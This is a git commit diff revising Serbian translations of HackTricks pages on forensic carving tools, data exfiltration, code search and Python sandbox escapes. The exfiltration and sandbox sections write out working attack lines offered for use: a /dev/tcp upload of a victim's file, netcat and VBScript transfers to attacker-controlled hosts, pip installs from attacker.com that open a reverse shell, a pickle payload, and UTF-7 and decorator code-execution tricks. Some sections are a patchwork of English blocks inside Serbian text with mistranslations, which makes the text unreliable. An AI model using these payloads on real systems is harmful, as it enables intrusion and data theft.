Translated ['forensics/basic-forensic-methodology/partitions-file-system

This commit is contained in:
Translator 2024-03-26 15:52:14 +00:00
parent f5d3104d91
commit 3981e4cba0
42 changed files with 896 additions and 891 deletions

View file

@ -1,4 +1,4 @@
# Alatke za izvlačenje i obnavljanje podataka
# Alatke za izdvajanje i obnavljanje podataka
<details>
@ -8,27 +8,27 @@ Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* Otkrijte [**Porodičnu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* **Podelite svoje hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Alatke za izvlačenje i obnavljanje podataka
## Alatke za izdvajanje i obnavljanje
Više alatki na [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
### Autopsy
Najčešće korišćeni alat u forenzici za izvlačenje fajlova iz slika je [**Autopsy**](https://www.autopsy.com/download/). Preuzmite ga, instalirajte ga i pustite da obradi fajl kako bi pronašao "skrivene" fajlove. Imajte na umu da je Autopsy napravljen da podržava disk slike i druge vrste slika, ali ne i obične fajlove.
Najčešće korišćeni alat u forenzici za izdvajanje fajlova iz slika je [**Autopsy**](https://www.autopsy.com/download/). Preuzmite ga, instalirajte ga i pustite da obradi fajl kako bi pronašao "skrivene" fajlove. Imajte na umu da je Autopsy napravljen da podržava disk slike i druge vrste slika, ali ne i obične fajlove.
### Binwalk <a href="#binwalk" id="binwalk"></a>
@ -43,15 +43,15 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file
```
### Foremost
Još jedan čest alat za pronalaženje skrivenih datoteka je **foremost**. Konfiguracionu datoteku za foremost možete pronaći u `/etc/foremost.conf`. Ako želite da pretražujete samo određene datoteke, uklonite komentare iz njih. Ako ne uklonite komentare, foremost će pretraživati prema svojim podrazumevano konfigurisanim tipovima datoteka.
Još jedan čest alat za pronalaženje skrivenih datoteka je **foremost**. Konfiguracionu datoteku za foremost možete pronaći u `/etc/foremost.conf`. Ako želite da pretražujete samo određene datoteke, uklonite komentare ispred njih. Ako ne uklonite komentare, foremost će pretraživati prema svojim podrazumevano konfigurisanim tipovima datoteka.
```bash
sudo apt-get install foremost
foremost -v -i file.img -o output
#Discovered files will appear inside the folder "output"
```
### **Scalpel**
### **Skalpel**
**Scalpel** je još jedan alat koji se može koristiti za pronalaženje i izdvajanje **datoteka ugrađenih u datoteku**. U ovom slučaju, trebaće vam da uklonite komentare iz konfiguracione datoteke (_/etc/scalpel/scalpel.conf_) za vrste datoteka koje želite da izdvojite.
**Skalpel** je još jedan alat koji se može koristiti za pronalaženje i izdvajanje **datoteka ugrađenih u datoteku**. U ovom slučaju, moraćete da uklonite komentare iz konfiguracione datoteke (_/etc/scalpel/scalpel.conf_) za vrste datoteka koje želite da izdvojite.
```bash
sudo apt-get install scalpel
scalpel file.img -o output
@ -60,7 +60,7 @@ scalpel file.img -o output
Ovaj alat dolazi unutar kali distribucije, ali ga možete pronaći ovde: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor)
Ovaj alat može skenirati sliku i **izdvojiti pcaps** unutar nje, **informacije o mreži (URL-ovi, domeni, IP adrese, MAC adrese, mejlovi)** i više **fajlova**. Samo treba da uradite:
Ovaj alat može skenirati sliku i **izdvojiti pcaps** unutar nje, **informacije o mreži (URL-ovi, domeni, IP adrese, MAC adrese, mejlovi)** i više **datoteka**. Samo treba da uradite:
```
bulk_extractor memory.img -o out_folder
```
@ -76,7 +76,7 @@ Dolazi sa GUI i CLI verzijama. Možete odabrati **tipove datoteka** koje želite
Proverite [kod](https://code.google.com/archive/p/binvis/) i [web stranicu alata](https://binvis.io/#/).
#### Karakteristike BinVis-a
#### Funkcije BinVis
* Vizuelni i aktivni **pregled strukture**
* Više grafikona za različite fokusne tačke
@ -104,20 +104,20 @@ Možete koristiti linux alat komandne linije **pdftotext** da transformišete pd
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Naučite hakovanje AWS-a od početka do naprednog nivoa sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA ČLANSTVO**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>

View file

@ -6,7 +6,7 @@
Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
@ -16,15 +16,15 @@ Drugi načini podrške HackTricks-u:
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Često belistovane domene za izfiltriranje informacija
## Često beleženi domeni za izfiltriranje informacija
Proverite [https://lots-project.com/](https://lots-project.com/) da biste pronašli često belistovane domene koje mogu biti zloupotrebljene
Proverite [https://lots-project.com/](https://lots-project.com/) da biste pronašli često beležene domene koje mogu biti zloupotrebljene
## Kopiranje\&lepljenje Base64
@ -65,7 +65,7 @@ Start-BitsTransfer -Source $url -Destination $output -Asynchronous
### Postavljanje fajlova
* [**SimpleHttpServerWithFileUploads**](https://gist.github.com/UniIsland/3346170)
* [**SimpleHttpServer printing GET and POSTs (also headers)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149)
* [**SimpleHttpServer ispisuje GET i POST zahteve (uključujući zaglavlja)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149)
* Python modul [uploadserver](https://pypi.org/project/uploadserver/):
```bash
# Listen to files
@ -129,8 +129,6 @@ app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
pip3 install pyftpdlib
python3 -m pyftpdlib -p 21
```
### FTP server (NodeJS)
### FTP server (NodeJS)
```
sudo npm install -g ftp-srv --save
@ -199,74 +197,47 @@ Windows
1. **Description**
Data exfiltration can be achieved using various protocols other than HTTP/HTTPS, such as DNS, ICMP, or SMTP. These protocols are often allowed to traverse network boundaries and can be used to bypass egress filtering.
Data exfiltration can be achieved using various protocols other than HTTP/HTTPS, such as DNS, ICMP, or SMTP.
2. **Detection**
- Monitor network traffic for unusual DNS requests, especially those containing encoded data.
- Look for abnormal ICMP traffic patterns that may indicate data exfiltration.
- Analyze SMTP traffic for unexpected attachments or unusual sending patterns.
- Look for abnormal ICMP or SMTP traffic patterns.
- Implement egress filtering to restrict unnecessary outbound traffic.
3. **Prevention**
- Implement egress filtering rules that restrict the use of alternative protocols.
- Use deep packet inspection to detect and block exfiltration attempts over alternative protocols.
- Encrypt sensitive data before transmission to make exfiltration more difficult.
- Use encryption to protect data in transit.
- Implement network segmentation to limit lateral movement.
- Disable unnecessary services and protocols to reduce attack surface.
4. **Tools**
- **[Iodine](https://github.com/yarrick/iodine):** Tunnel IPv4 data through a DNS server.
- **[ChopChop](https://github.com/MITRECND/chopchop):** Craft and send arbitrary IP packets.
- **[SMTP-Tester](https://github.com/le4f/smtp-tester):** Test SMTP server for open relays.
- **dnscat2**: A tool for tunneling data through DNS servers.
- **Iodine**: A tool for tunneling IPv4 data through a DNS server.
#### Exfiltration Over Unencrypted/Unauthenticated Protocols
#### Exfiltration Over Unencrypted Protocols
1. **Description**
Exfiltrating data over unencrypted or unauthenticated protocols, such as FTP or Telnet, can expose sensitive information to interception by network eavesdroppers.
Attackers can exfiltrate data over unencrypted protocols like FTP, Telnet, or SNMP.
2. **Detection**
- Monitor network traffic for clear-text passwords or sensitive data being transmitted over unencrypted protocols.
- Look for unauthorized FTP or Telnet connections originating from internal hosts.
- Monitor network traffic for FTP, Telnet, or SNMP connections.
- Look for large amounts of data being transferred over these protocols.
- Implement deep packet inspection to analyze payload contents.
3. **Prevention**
- Encrypt data before transmission using secure protocols like SFTP or SSH.
- Disable or restrict the use of unencrypted/ unauthenticated protocols within the network.
- Implement strong authentication mechanisms to prevent unauthorized access to sensitive services.
- Use secure protocols like SFTP, SSH, or SNMPv3.
- Implement strong authentication mechanisms.
- Encrypt data at rest and in transit.
4. **Tools**
- **[Wireshark](https://www.wireshark.org/):** Analyze network traffic to identify clear-text data transmissions.
- **[Nmap](https://nmap.org/):** Scan for open FTP or Telnet ports on network devices.
- **[FileZilla](https://filezilla-project.org/):** Securely transfer files using SFTP/FTP over SSH.
#### Exfiltration Over DNS
1. **Description**
DNS exfiltration involves encoding sensitive data within DNS queries or responses to bypass network security controls and exfiltrate data.
2. **Detection**
- Monitor DNS traffic for unusually large queries or responses that may contain exfiltrated data.
- Look for patterns in DNS requests that deviate from normal domain resolution behavior.
- Analyze DNS query timings and volume for signs of data exfiltration.
3. **Prevention**
- Implement DNS sinkholing to redirect suspicious DNS traffic to controlled servers.
- Use DNS firewall rules to block unauthorized DNS queries containing suspicious data.
- Encrypt DNS traffic using DNS over HTTPS (DoH) or DNS over TLS (DoT) to prevent eavesdropping.
4. **Tools**
- **[Dnscat2](https://github.com/iagox86/dnscat2):** Multi-platform tool for tunneling data through DNS servers.
- **[Dns2tcp](https://github.com/bortzmeyer/dns2tcp):** Tunnel TCP over DNS.
- **[dnsteal](https://github.com/m57/dnsteal):** Extract data from DNS traffic.
---
- **Wireshark**: A network protocol analyzer for monitoring and analyzing network traffic.
- **Snort**: An open-source network intrusion detection and prevention system.
```bash
CMD-Wind> \\10.10.14.14\path\to\exe
CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials
@ -290,14 +261,14 @@ sudo sshfs -o allow_other,default_permissions <Target username>@<Target IP addre
```
## NC
Netcat (NC) je moćan alat za mrežno preusmeravanje podataka. Može se koristiti za prenos podataka između sistema putem TCP ili UDP veza. NC može biti korišćen za slanje fajlova, snimanje portova i mnoge druge mrežne operacije.
NC (Netcat) je moćan alat za mrežno programiranje koji se često koristi za prenos podataka između sistema putem mreže. Može se koristiti za izvršavanje različitih zadataka, uključujući i eksfiltraciju podataka.
```bash
nc -lvnp 4444 > new_file
nc -vn <IP> 4444 < exfil_file
```
## /dev/tcp
### Preuzimanje fajla sa žrtve
### Preuzimanje fajla sa žrtvine mašine
```bash
nc -lvnp 80 > file #Inside attacker
cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim
@ -331,7 +302,7 @@ sniff(iface="tun0", prn=process_packet)
```
## **SMTP**
Ako možete poslati podatke na SMTP server, možete kreirati SMTP da primite podatke pomoću python-a:
Ako možete slati podatke na SMTP server, možete kreirati SMTP da primite podatke pomoću python-a:
```bash
sudo python -m smtpd -n -c DebuggingServer :25
```
@ -362,6 +333,55 @@ Preuzmite fajl pomoću PHP jednolinijske komande:
echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php
```
## VBScript
### VBScript Exfiltration Techniques
VBScript can be used to exfiltrate data from a compromised system. Below are some common techniques:
1. **Writing to Files**: VBScript can write data to a file on the system, which can then be exfiltrated using various methods.
2. **Sending Emails**: VBScript can be used to send emails with the exfiltrated data as attachments or within the email body.
3. **HTTP Requests**: VBScript can make HTTP requests to an external server controlled by the attacker to exfiltrate data.
4. **DNS Requests**: VBScript can make DNS requests with encoded data to exfiltrate information.
### Example VBScript Exfiltration Code
```vbscript
' Example VBScript code for exfiltrating data
' Write data to a file
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFile = objFSO.CreateTextFile("C:\exfiltrated_data.txt", True)
objFile.Write "Sensitive data to exfiltrate"
objFile.Close
' Send an email
Set objEmail = CreateObject("CDO.Message")
objEmail.From = "attacker@example.com"
objEmail.To = "recipient@example.com"
objEmail.Subject = "Exfiltrated Data"
objEmail.TextBody = "Attached is the exfiltrated data."
objEmail.AddAttachment "C:\exfiltrated_data.txt"
objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "smtp.example.com"
objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 25
objEmail.Configuration.Fields.Update
objEmail.Send
' Make an HTTP request
Set objHTTP = CreateObject("MSXML2.ServerXMLHTTP")
objHTTP.Open "GET", "http://attacker-controlled-server.com/exfiltrate.php?data=exfiltrated_data", False
objHTTP.Send
' Make a DNS request
Set objDNS = CreateObject("MSXML2.ServerXMLHTTP")
objDNS.Open "GET", "http://attacker-controlled-dns.com", False
objDNS.Send
```
These are just a few examples of how VBScript can be used for exfiltration. It is important to note that using VBScript for malicious purposes is illegal and unethical.
```bash
Attacker> python -m SimpleHTTPServer 80
```
@ -399,7 +419,7 @@ cscript wget.vbs http://10.11.0.5/evil.exe evil.exe
```
## Debug.exe
Program `debug.exe` ne samo što omogućava inspekciju binarnih fajlova već takođe ima **mogućnost da ih rekonstruiše iz heksadecimalnog koda**. To znači da, pružajući heksadecimalni kod binarnog fajla, `debug.exe` može generisati binarni fajl. Međutim, važno je napomenuti da debug.exe ima **ograničenje u sastavljanju fajlova do 64 kb veličine**.
Program `debug.exe` ne samo što omogućava inspekciju binarnih fajlova već takođe ima **mogućnost da ih rekonstruiše iz heksadecimalnog koda**. To znači da, pružajući heksadecimalni kod binarnog fajla, `debug.exe` može generisati binarni fajl. Međutim, važno je napomenuti da debug.exe ima **ograničenje u sastavljanju fajlova do veličine od 64 kb**.
```bash
# Reduce the size
upx -9 nc.exe
@ -408,23 +428,3 @@ wine exe2bat.exe nc.exe nc.txt
## DNS
* [https://github.com/62726164/dns-exfil](https://github.com/62726164/dns-exfil)
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>

View file

@ -7,8 +7,8 @@
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* Nabavite [**zvanični PEASS & HackTricks suvenir**](https://peass.creator-spring.com)
* Otkrijte [**Porodičnu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
@ -16,7 +16,7 @@ Drugi načini podrške HackTricks-u:
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -24,12 +24,12 @@ Drugi načini podrške HackTricks-u:
Cilj ove stranice je da nabroji **platforme koje omogućavaju pretragu koda** (doslovnog ili regex) u hiljadama/milionskim repozitorijumima na jednoj ili više platformi.
Ovo pomaže u nekoliko prilika za **pretragu procurenih informacija** ili za obrasce **ranjivosti**.
Ovo pomaže u nekoliko situacija za **pretragu procurenih informacija** ili za obrasce **ranjivosti**.
* [**SourceGraph**](https://sourcegraph.com/search): Pretraga u milionima repozitorijuma. Postoji besplatna verzija i poslovna verzija (sa 15 dana besplatno). Podržava regexe.
* [**Github Pretraga**](https://github.com/search): Pretraga preko Github-a. Podržava regexe.
* [**Github Pretraga**](https://github.com/search): Pretraga na Github-u. Podržava regexe.
* Možda je korisno proveriti i [**Github Pretragu Koda**](https://cs.github.com/).
* [**Gitlab Napredna Pretraga**](https://docs.gitlab.com/ee/user/search/advanced\_search.html): Pretraga preko Gitlab projekata. Podržava regexe.
* [**Gitlab Napredna Pretraga**](https://docs.gitlab.com/ee/user/search/advanced\_search.html): Pretraga kroz Gitlab projekte. Podržava regexe.
* [**SearchCode**](https://searchcode.com/): Pretraga koda u milionima projekata.
{% hint style="warning" %}
@ -38,7 +38,7 @@ Kada tražite procurene informacije u repozitorijumu i pokrenete nešto poput `g
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -49,8 +49,8 @@ Kada tražite procurene informacije u repozitorijumu i pokrenete nešto poput `g
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* Nabavite [**zvanični PEASS & HackTricks suvenir**](https://peass.creator-spring.com)
* Otkrijte [**Porodičnu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.

View file

@ -8,7 +8,7 @@ Drugi načini podrške HackTricks-u:
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
@ -16,15 +16,15 @@ Drugi načini podrške HackTricks-u:
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
Ovo su neki trikovi za zaobilaženje zaštite Python peskovnika i izvršavanje proizvoljnih komandi.
Ovo su neki trikovi za zaobilaženje zaštita Python peskovnika i izvršavanje proizvoljnih komandi.
## Biblioteke za izvršavanje komandi
## Biblioteke za Izvršavanje Komandi
Prva stvar koju treba da znate je da li možete direktno izvršiti kod sa već uvezenom bibliotekom, ili da li možete uvesti bilo koju od ovih biblioteka:
```python
@ -65,7 +65,7 @@ Zapamtite da funkcije _**open**_ i _**read**_ mogu biti korisne za **čitanje da
**Python2 input()** funkcija omogućava izvršavanje python koda pre nego što program padne.
{% endhint %}
Python pokušava da **učita biblioteke iz trenutnog direktorijuma prvo** (sledeća komanda će odštampati gde se python učitava module): `python3 -c 'import sys; print(sys.path)'`
Python pokušava da **učita biblioteke iz trenutnog direktorijuma prvo** (sledeća komanda će ispisati odakle python učitava module): `python3 -c 'import sys; print(sys.path)'`
![](<../../../.gitbook/assets/image (552).png>)
@ -75,7 +75,7 @@ Python pokušava da **učita biblioteke iz trenutnog direktorijuma prvo** (slede
Možete pronaći **listu preinstaliranih** paketa ovde: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
Imajte na umu da iz pickle-a možete napraviti python okruženje da **uvozi proizvoljne biblioteke** instalirane u sistemu.\
Na primer, sledeći pickle, kada se učita, uvešće biblioteku pip da je koristi:
Na primer, sledeći pickle, kada se učita, će uvesti pip biblioteku da je koristi:
```python
#Note that here we are importing the pip library so the pickle is created correctly
#however, the victim doesn't even need to have the library installed to execute it
@ -88,23 +88,23 @@ return (pip.main,(["list"],))
print(base64.b64encode(pickle.dumps(P(), protocol=0)))
```
Za više informacija o tome kako radi pickle pogledajte ovde: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
Za više informacija o tome kako radi pickle proverite ovde: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
### Pip paket
Trik podeljen od strane **@isHaacK**
Trik deljen od strane **@isHaacK**
Ako imate pristup `pip`-u ili `pip.main()` možete instalirati proizvoljan paket i dobiti povratnu ljusku pozivajući:
Ako imate pristup `pip`-u ili `pip.main()` možete instalirati proizvoljan paket i dobiti obrnutu ljusku pozivajući:
```bash
pip install http://attacker.com/Rerverse.tar.gz
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
```
Možete preuzeti paket za kreiranje obrnutog školjka ovde. Molimo, imajte na umu da pre korišćenja treba **dekompresovati**, promeniti `setup.py`, i uneti svoju IP adresu za obrnuti školjka:
Možete preuzeti paket za kreiranje obrnutog školjkaša ovde. Molimo, imajte na umu da pre korišćenja treba **dekompresovati**, promeniti `setup.py`, i uneti svoju IP adresu za obrnuti školjkaš:
{% file src="../../../.gitbook/assets/reverse.tar.gz" %}
{% hint style="info" %}
Ovaj paket se zove `Reverse`. Međutim, posebno je napravljen tako da kada izađete iz obrnutog školjka, ostatak instalacije će propasti, tako da **nećete ostaviti dodatni Python paket instaliran na serveru** kada odete.
Ovaj paket se zove `Reverse`. Međutim, posebno je napravljen tako da kada izađete iz obrnutog školjkaša, ostatak instalacije će propasti, tako da **nećete ostaviti dodatni Python paket instaliran na serveru** kada odete.
{% endhint %}
## Eval-ujući Python kod
@ -159,7 +159,7 @@ df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']
```
## Zaobilazak zaštite putem enkodiranja (UTF-7)
U [**ovom objašnjenju**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) se koristi UTF-7 da bi se učitao i izvršio proizvoljni Python kod unutar očigledne peskaše.
U [**ovom objašnjenju**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) se koristi UTF-7 za učitavanje i izvršavanje proizvoljnog Python koda unutar očigledne peska kutije:
```python
assert b"+AAo-".decode("utf_7") == "\n"
@ -170,13 +170,13 @@ return x
#+AAo-print(open("/flag.txt").read())
""".lstrip()
```
Takođe je moguće zaobići ga koristeći druge enkodiranja, npr. `raw_unicode_escape` i `unicode_escape`.
Takođe je moguće zaobići to korišćenjem drugih enkodiranja, npr. `raw_unicode_escape` i `unicode_escape`.
## Izvršavanje Python koda bez poziva
Ako se nalazite unutar Python zatvora koji vam **ne dozvoljava da vršite pozive**, i dalje postoje neki načini da **izvršite proizvoljne funkcije, kod** i **komande**.
Ako se nalazite unutar Python zatvora koji **ne dozvoljava pozive**, i dalje postoje neki načini da se **izvrše proizvoljne funkcije, kod** i **komande**.
### RCE pomoću [dekoratora](https://docs.python.org/3/glossary.html#term-decorator)
### RCE sa [dekoratorima](https://docs.python.org/3/glossary.html#term-decorator)
```python
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
@exec
@ -200,11 +200,11 @@ class _:pass
```
### RCE kreiranje objekata i preopterećenje
Ako možete **deklarisati klasu** i **kreirati objekat** te klase, možete **pisati/prepisivati različite metode** koje mogu biti **pokrenute** **bez** **potrebe da se pozivaju direktno**.
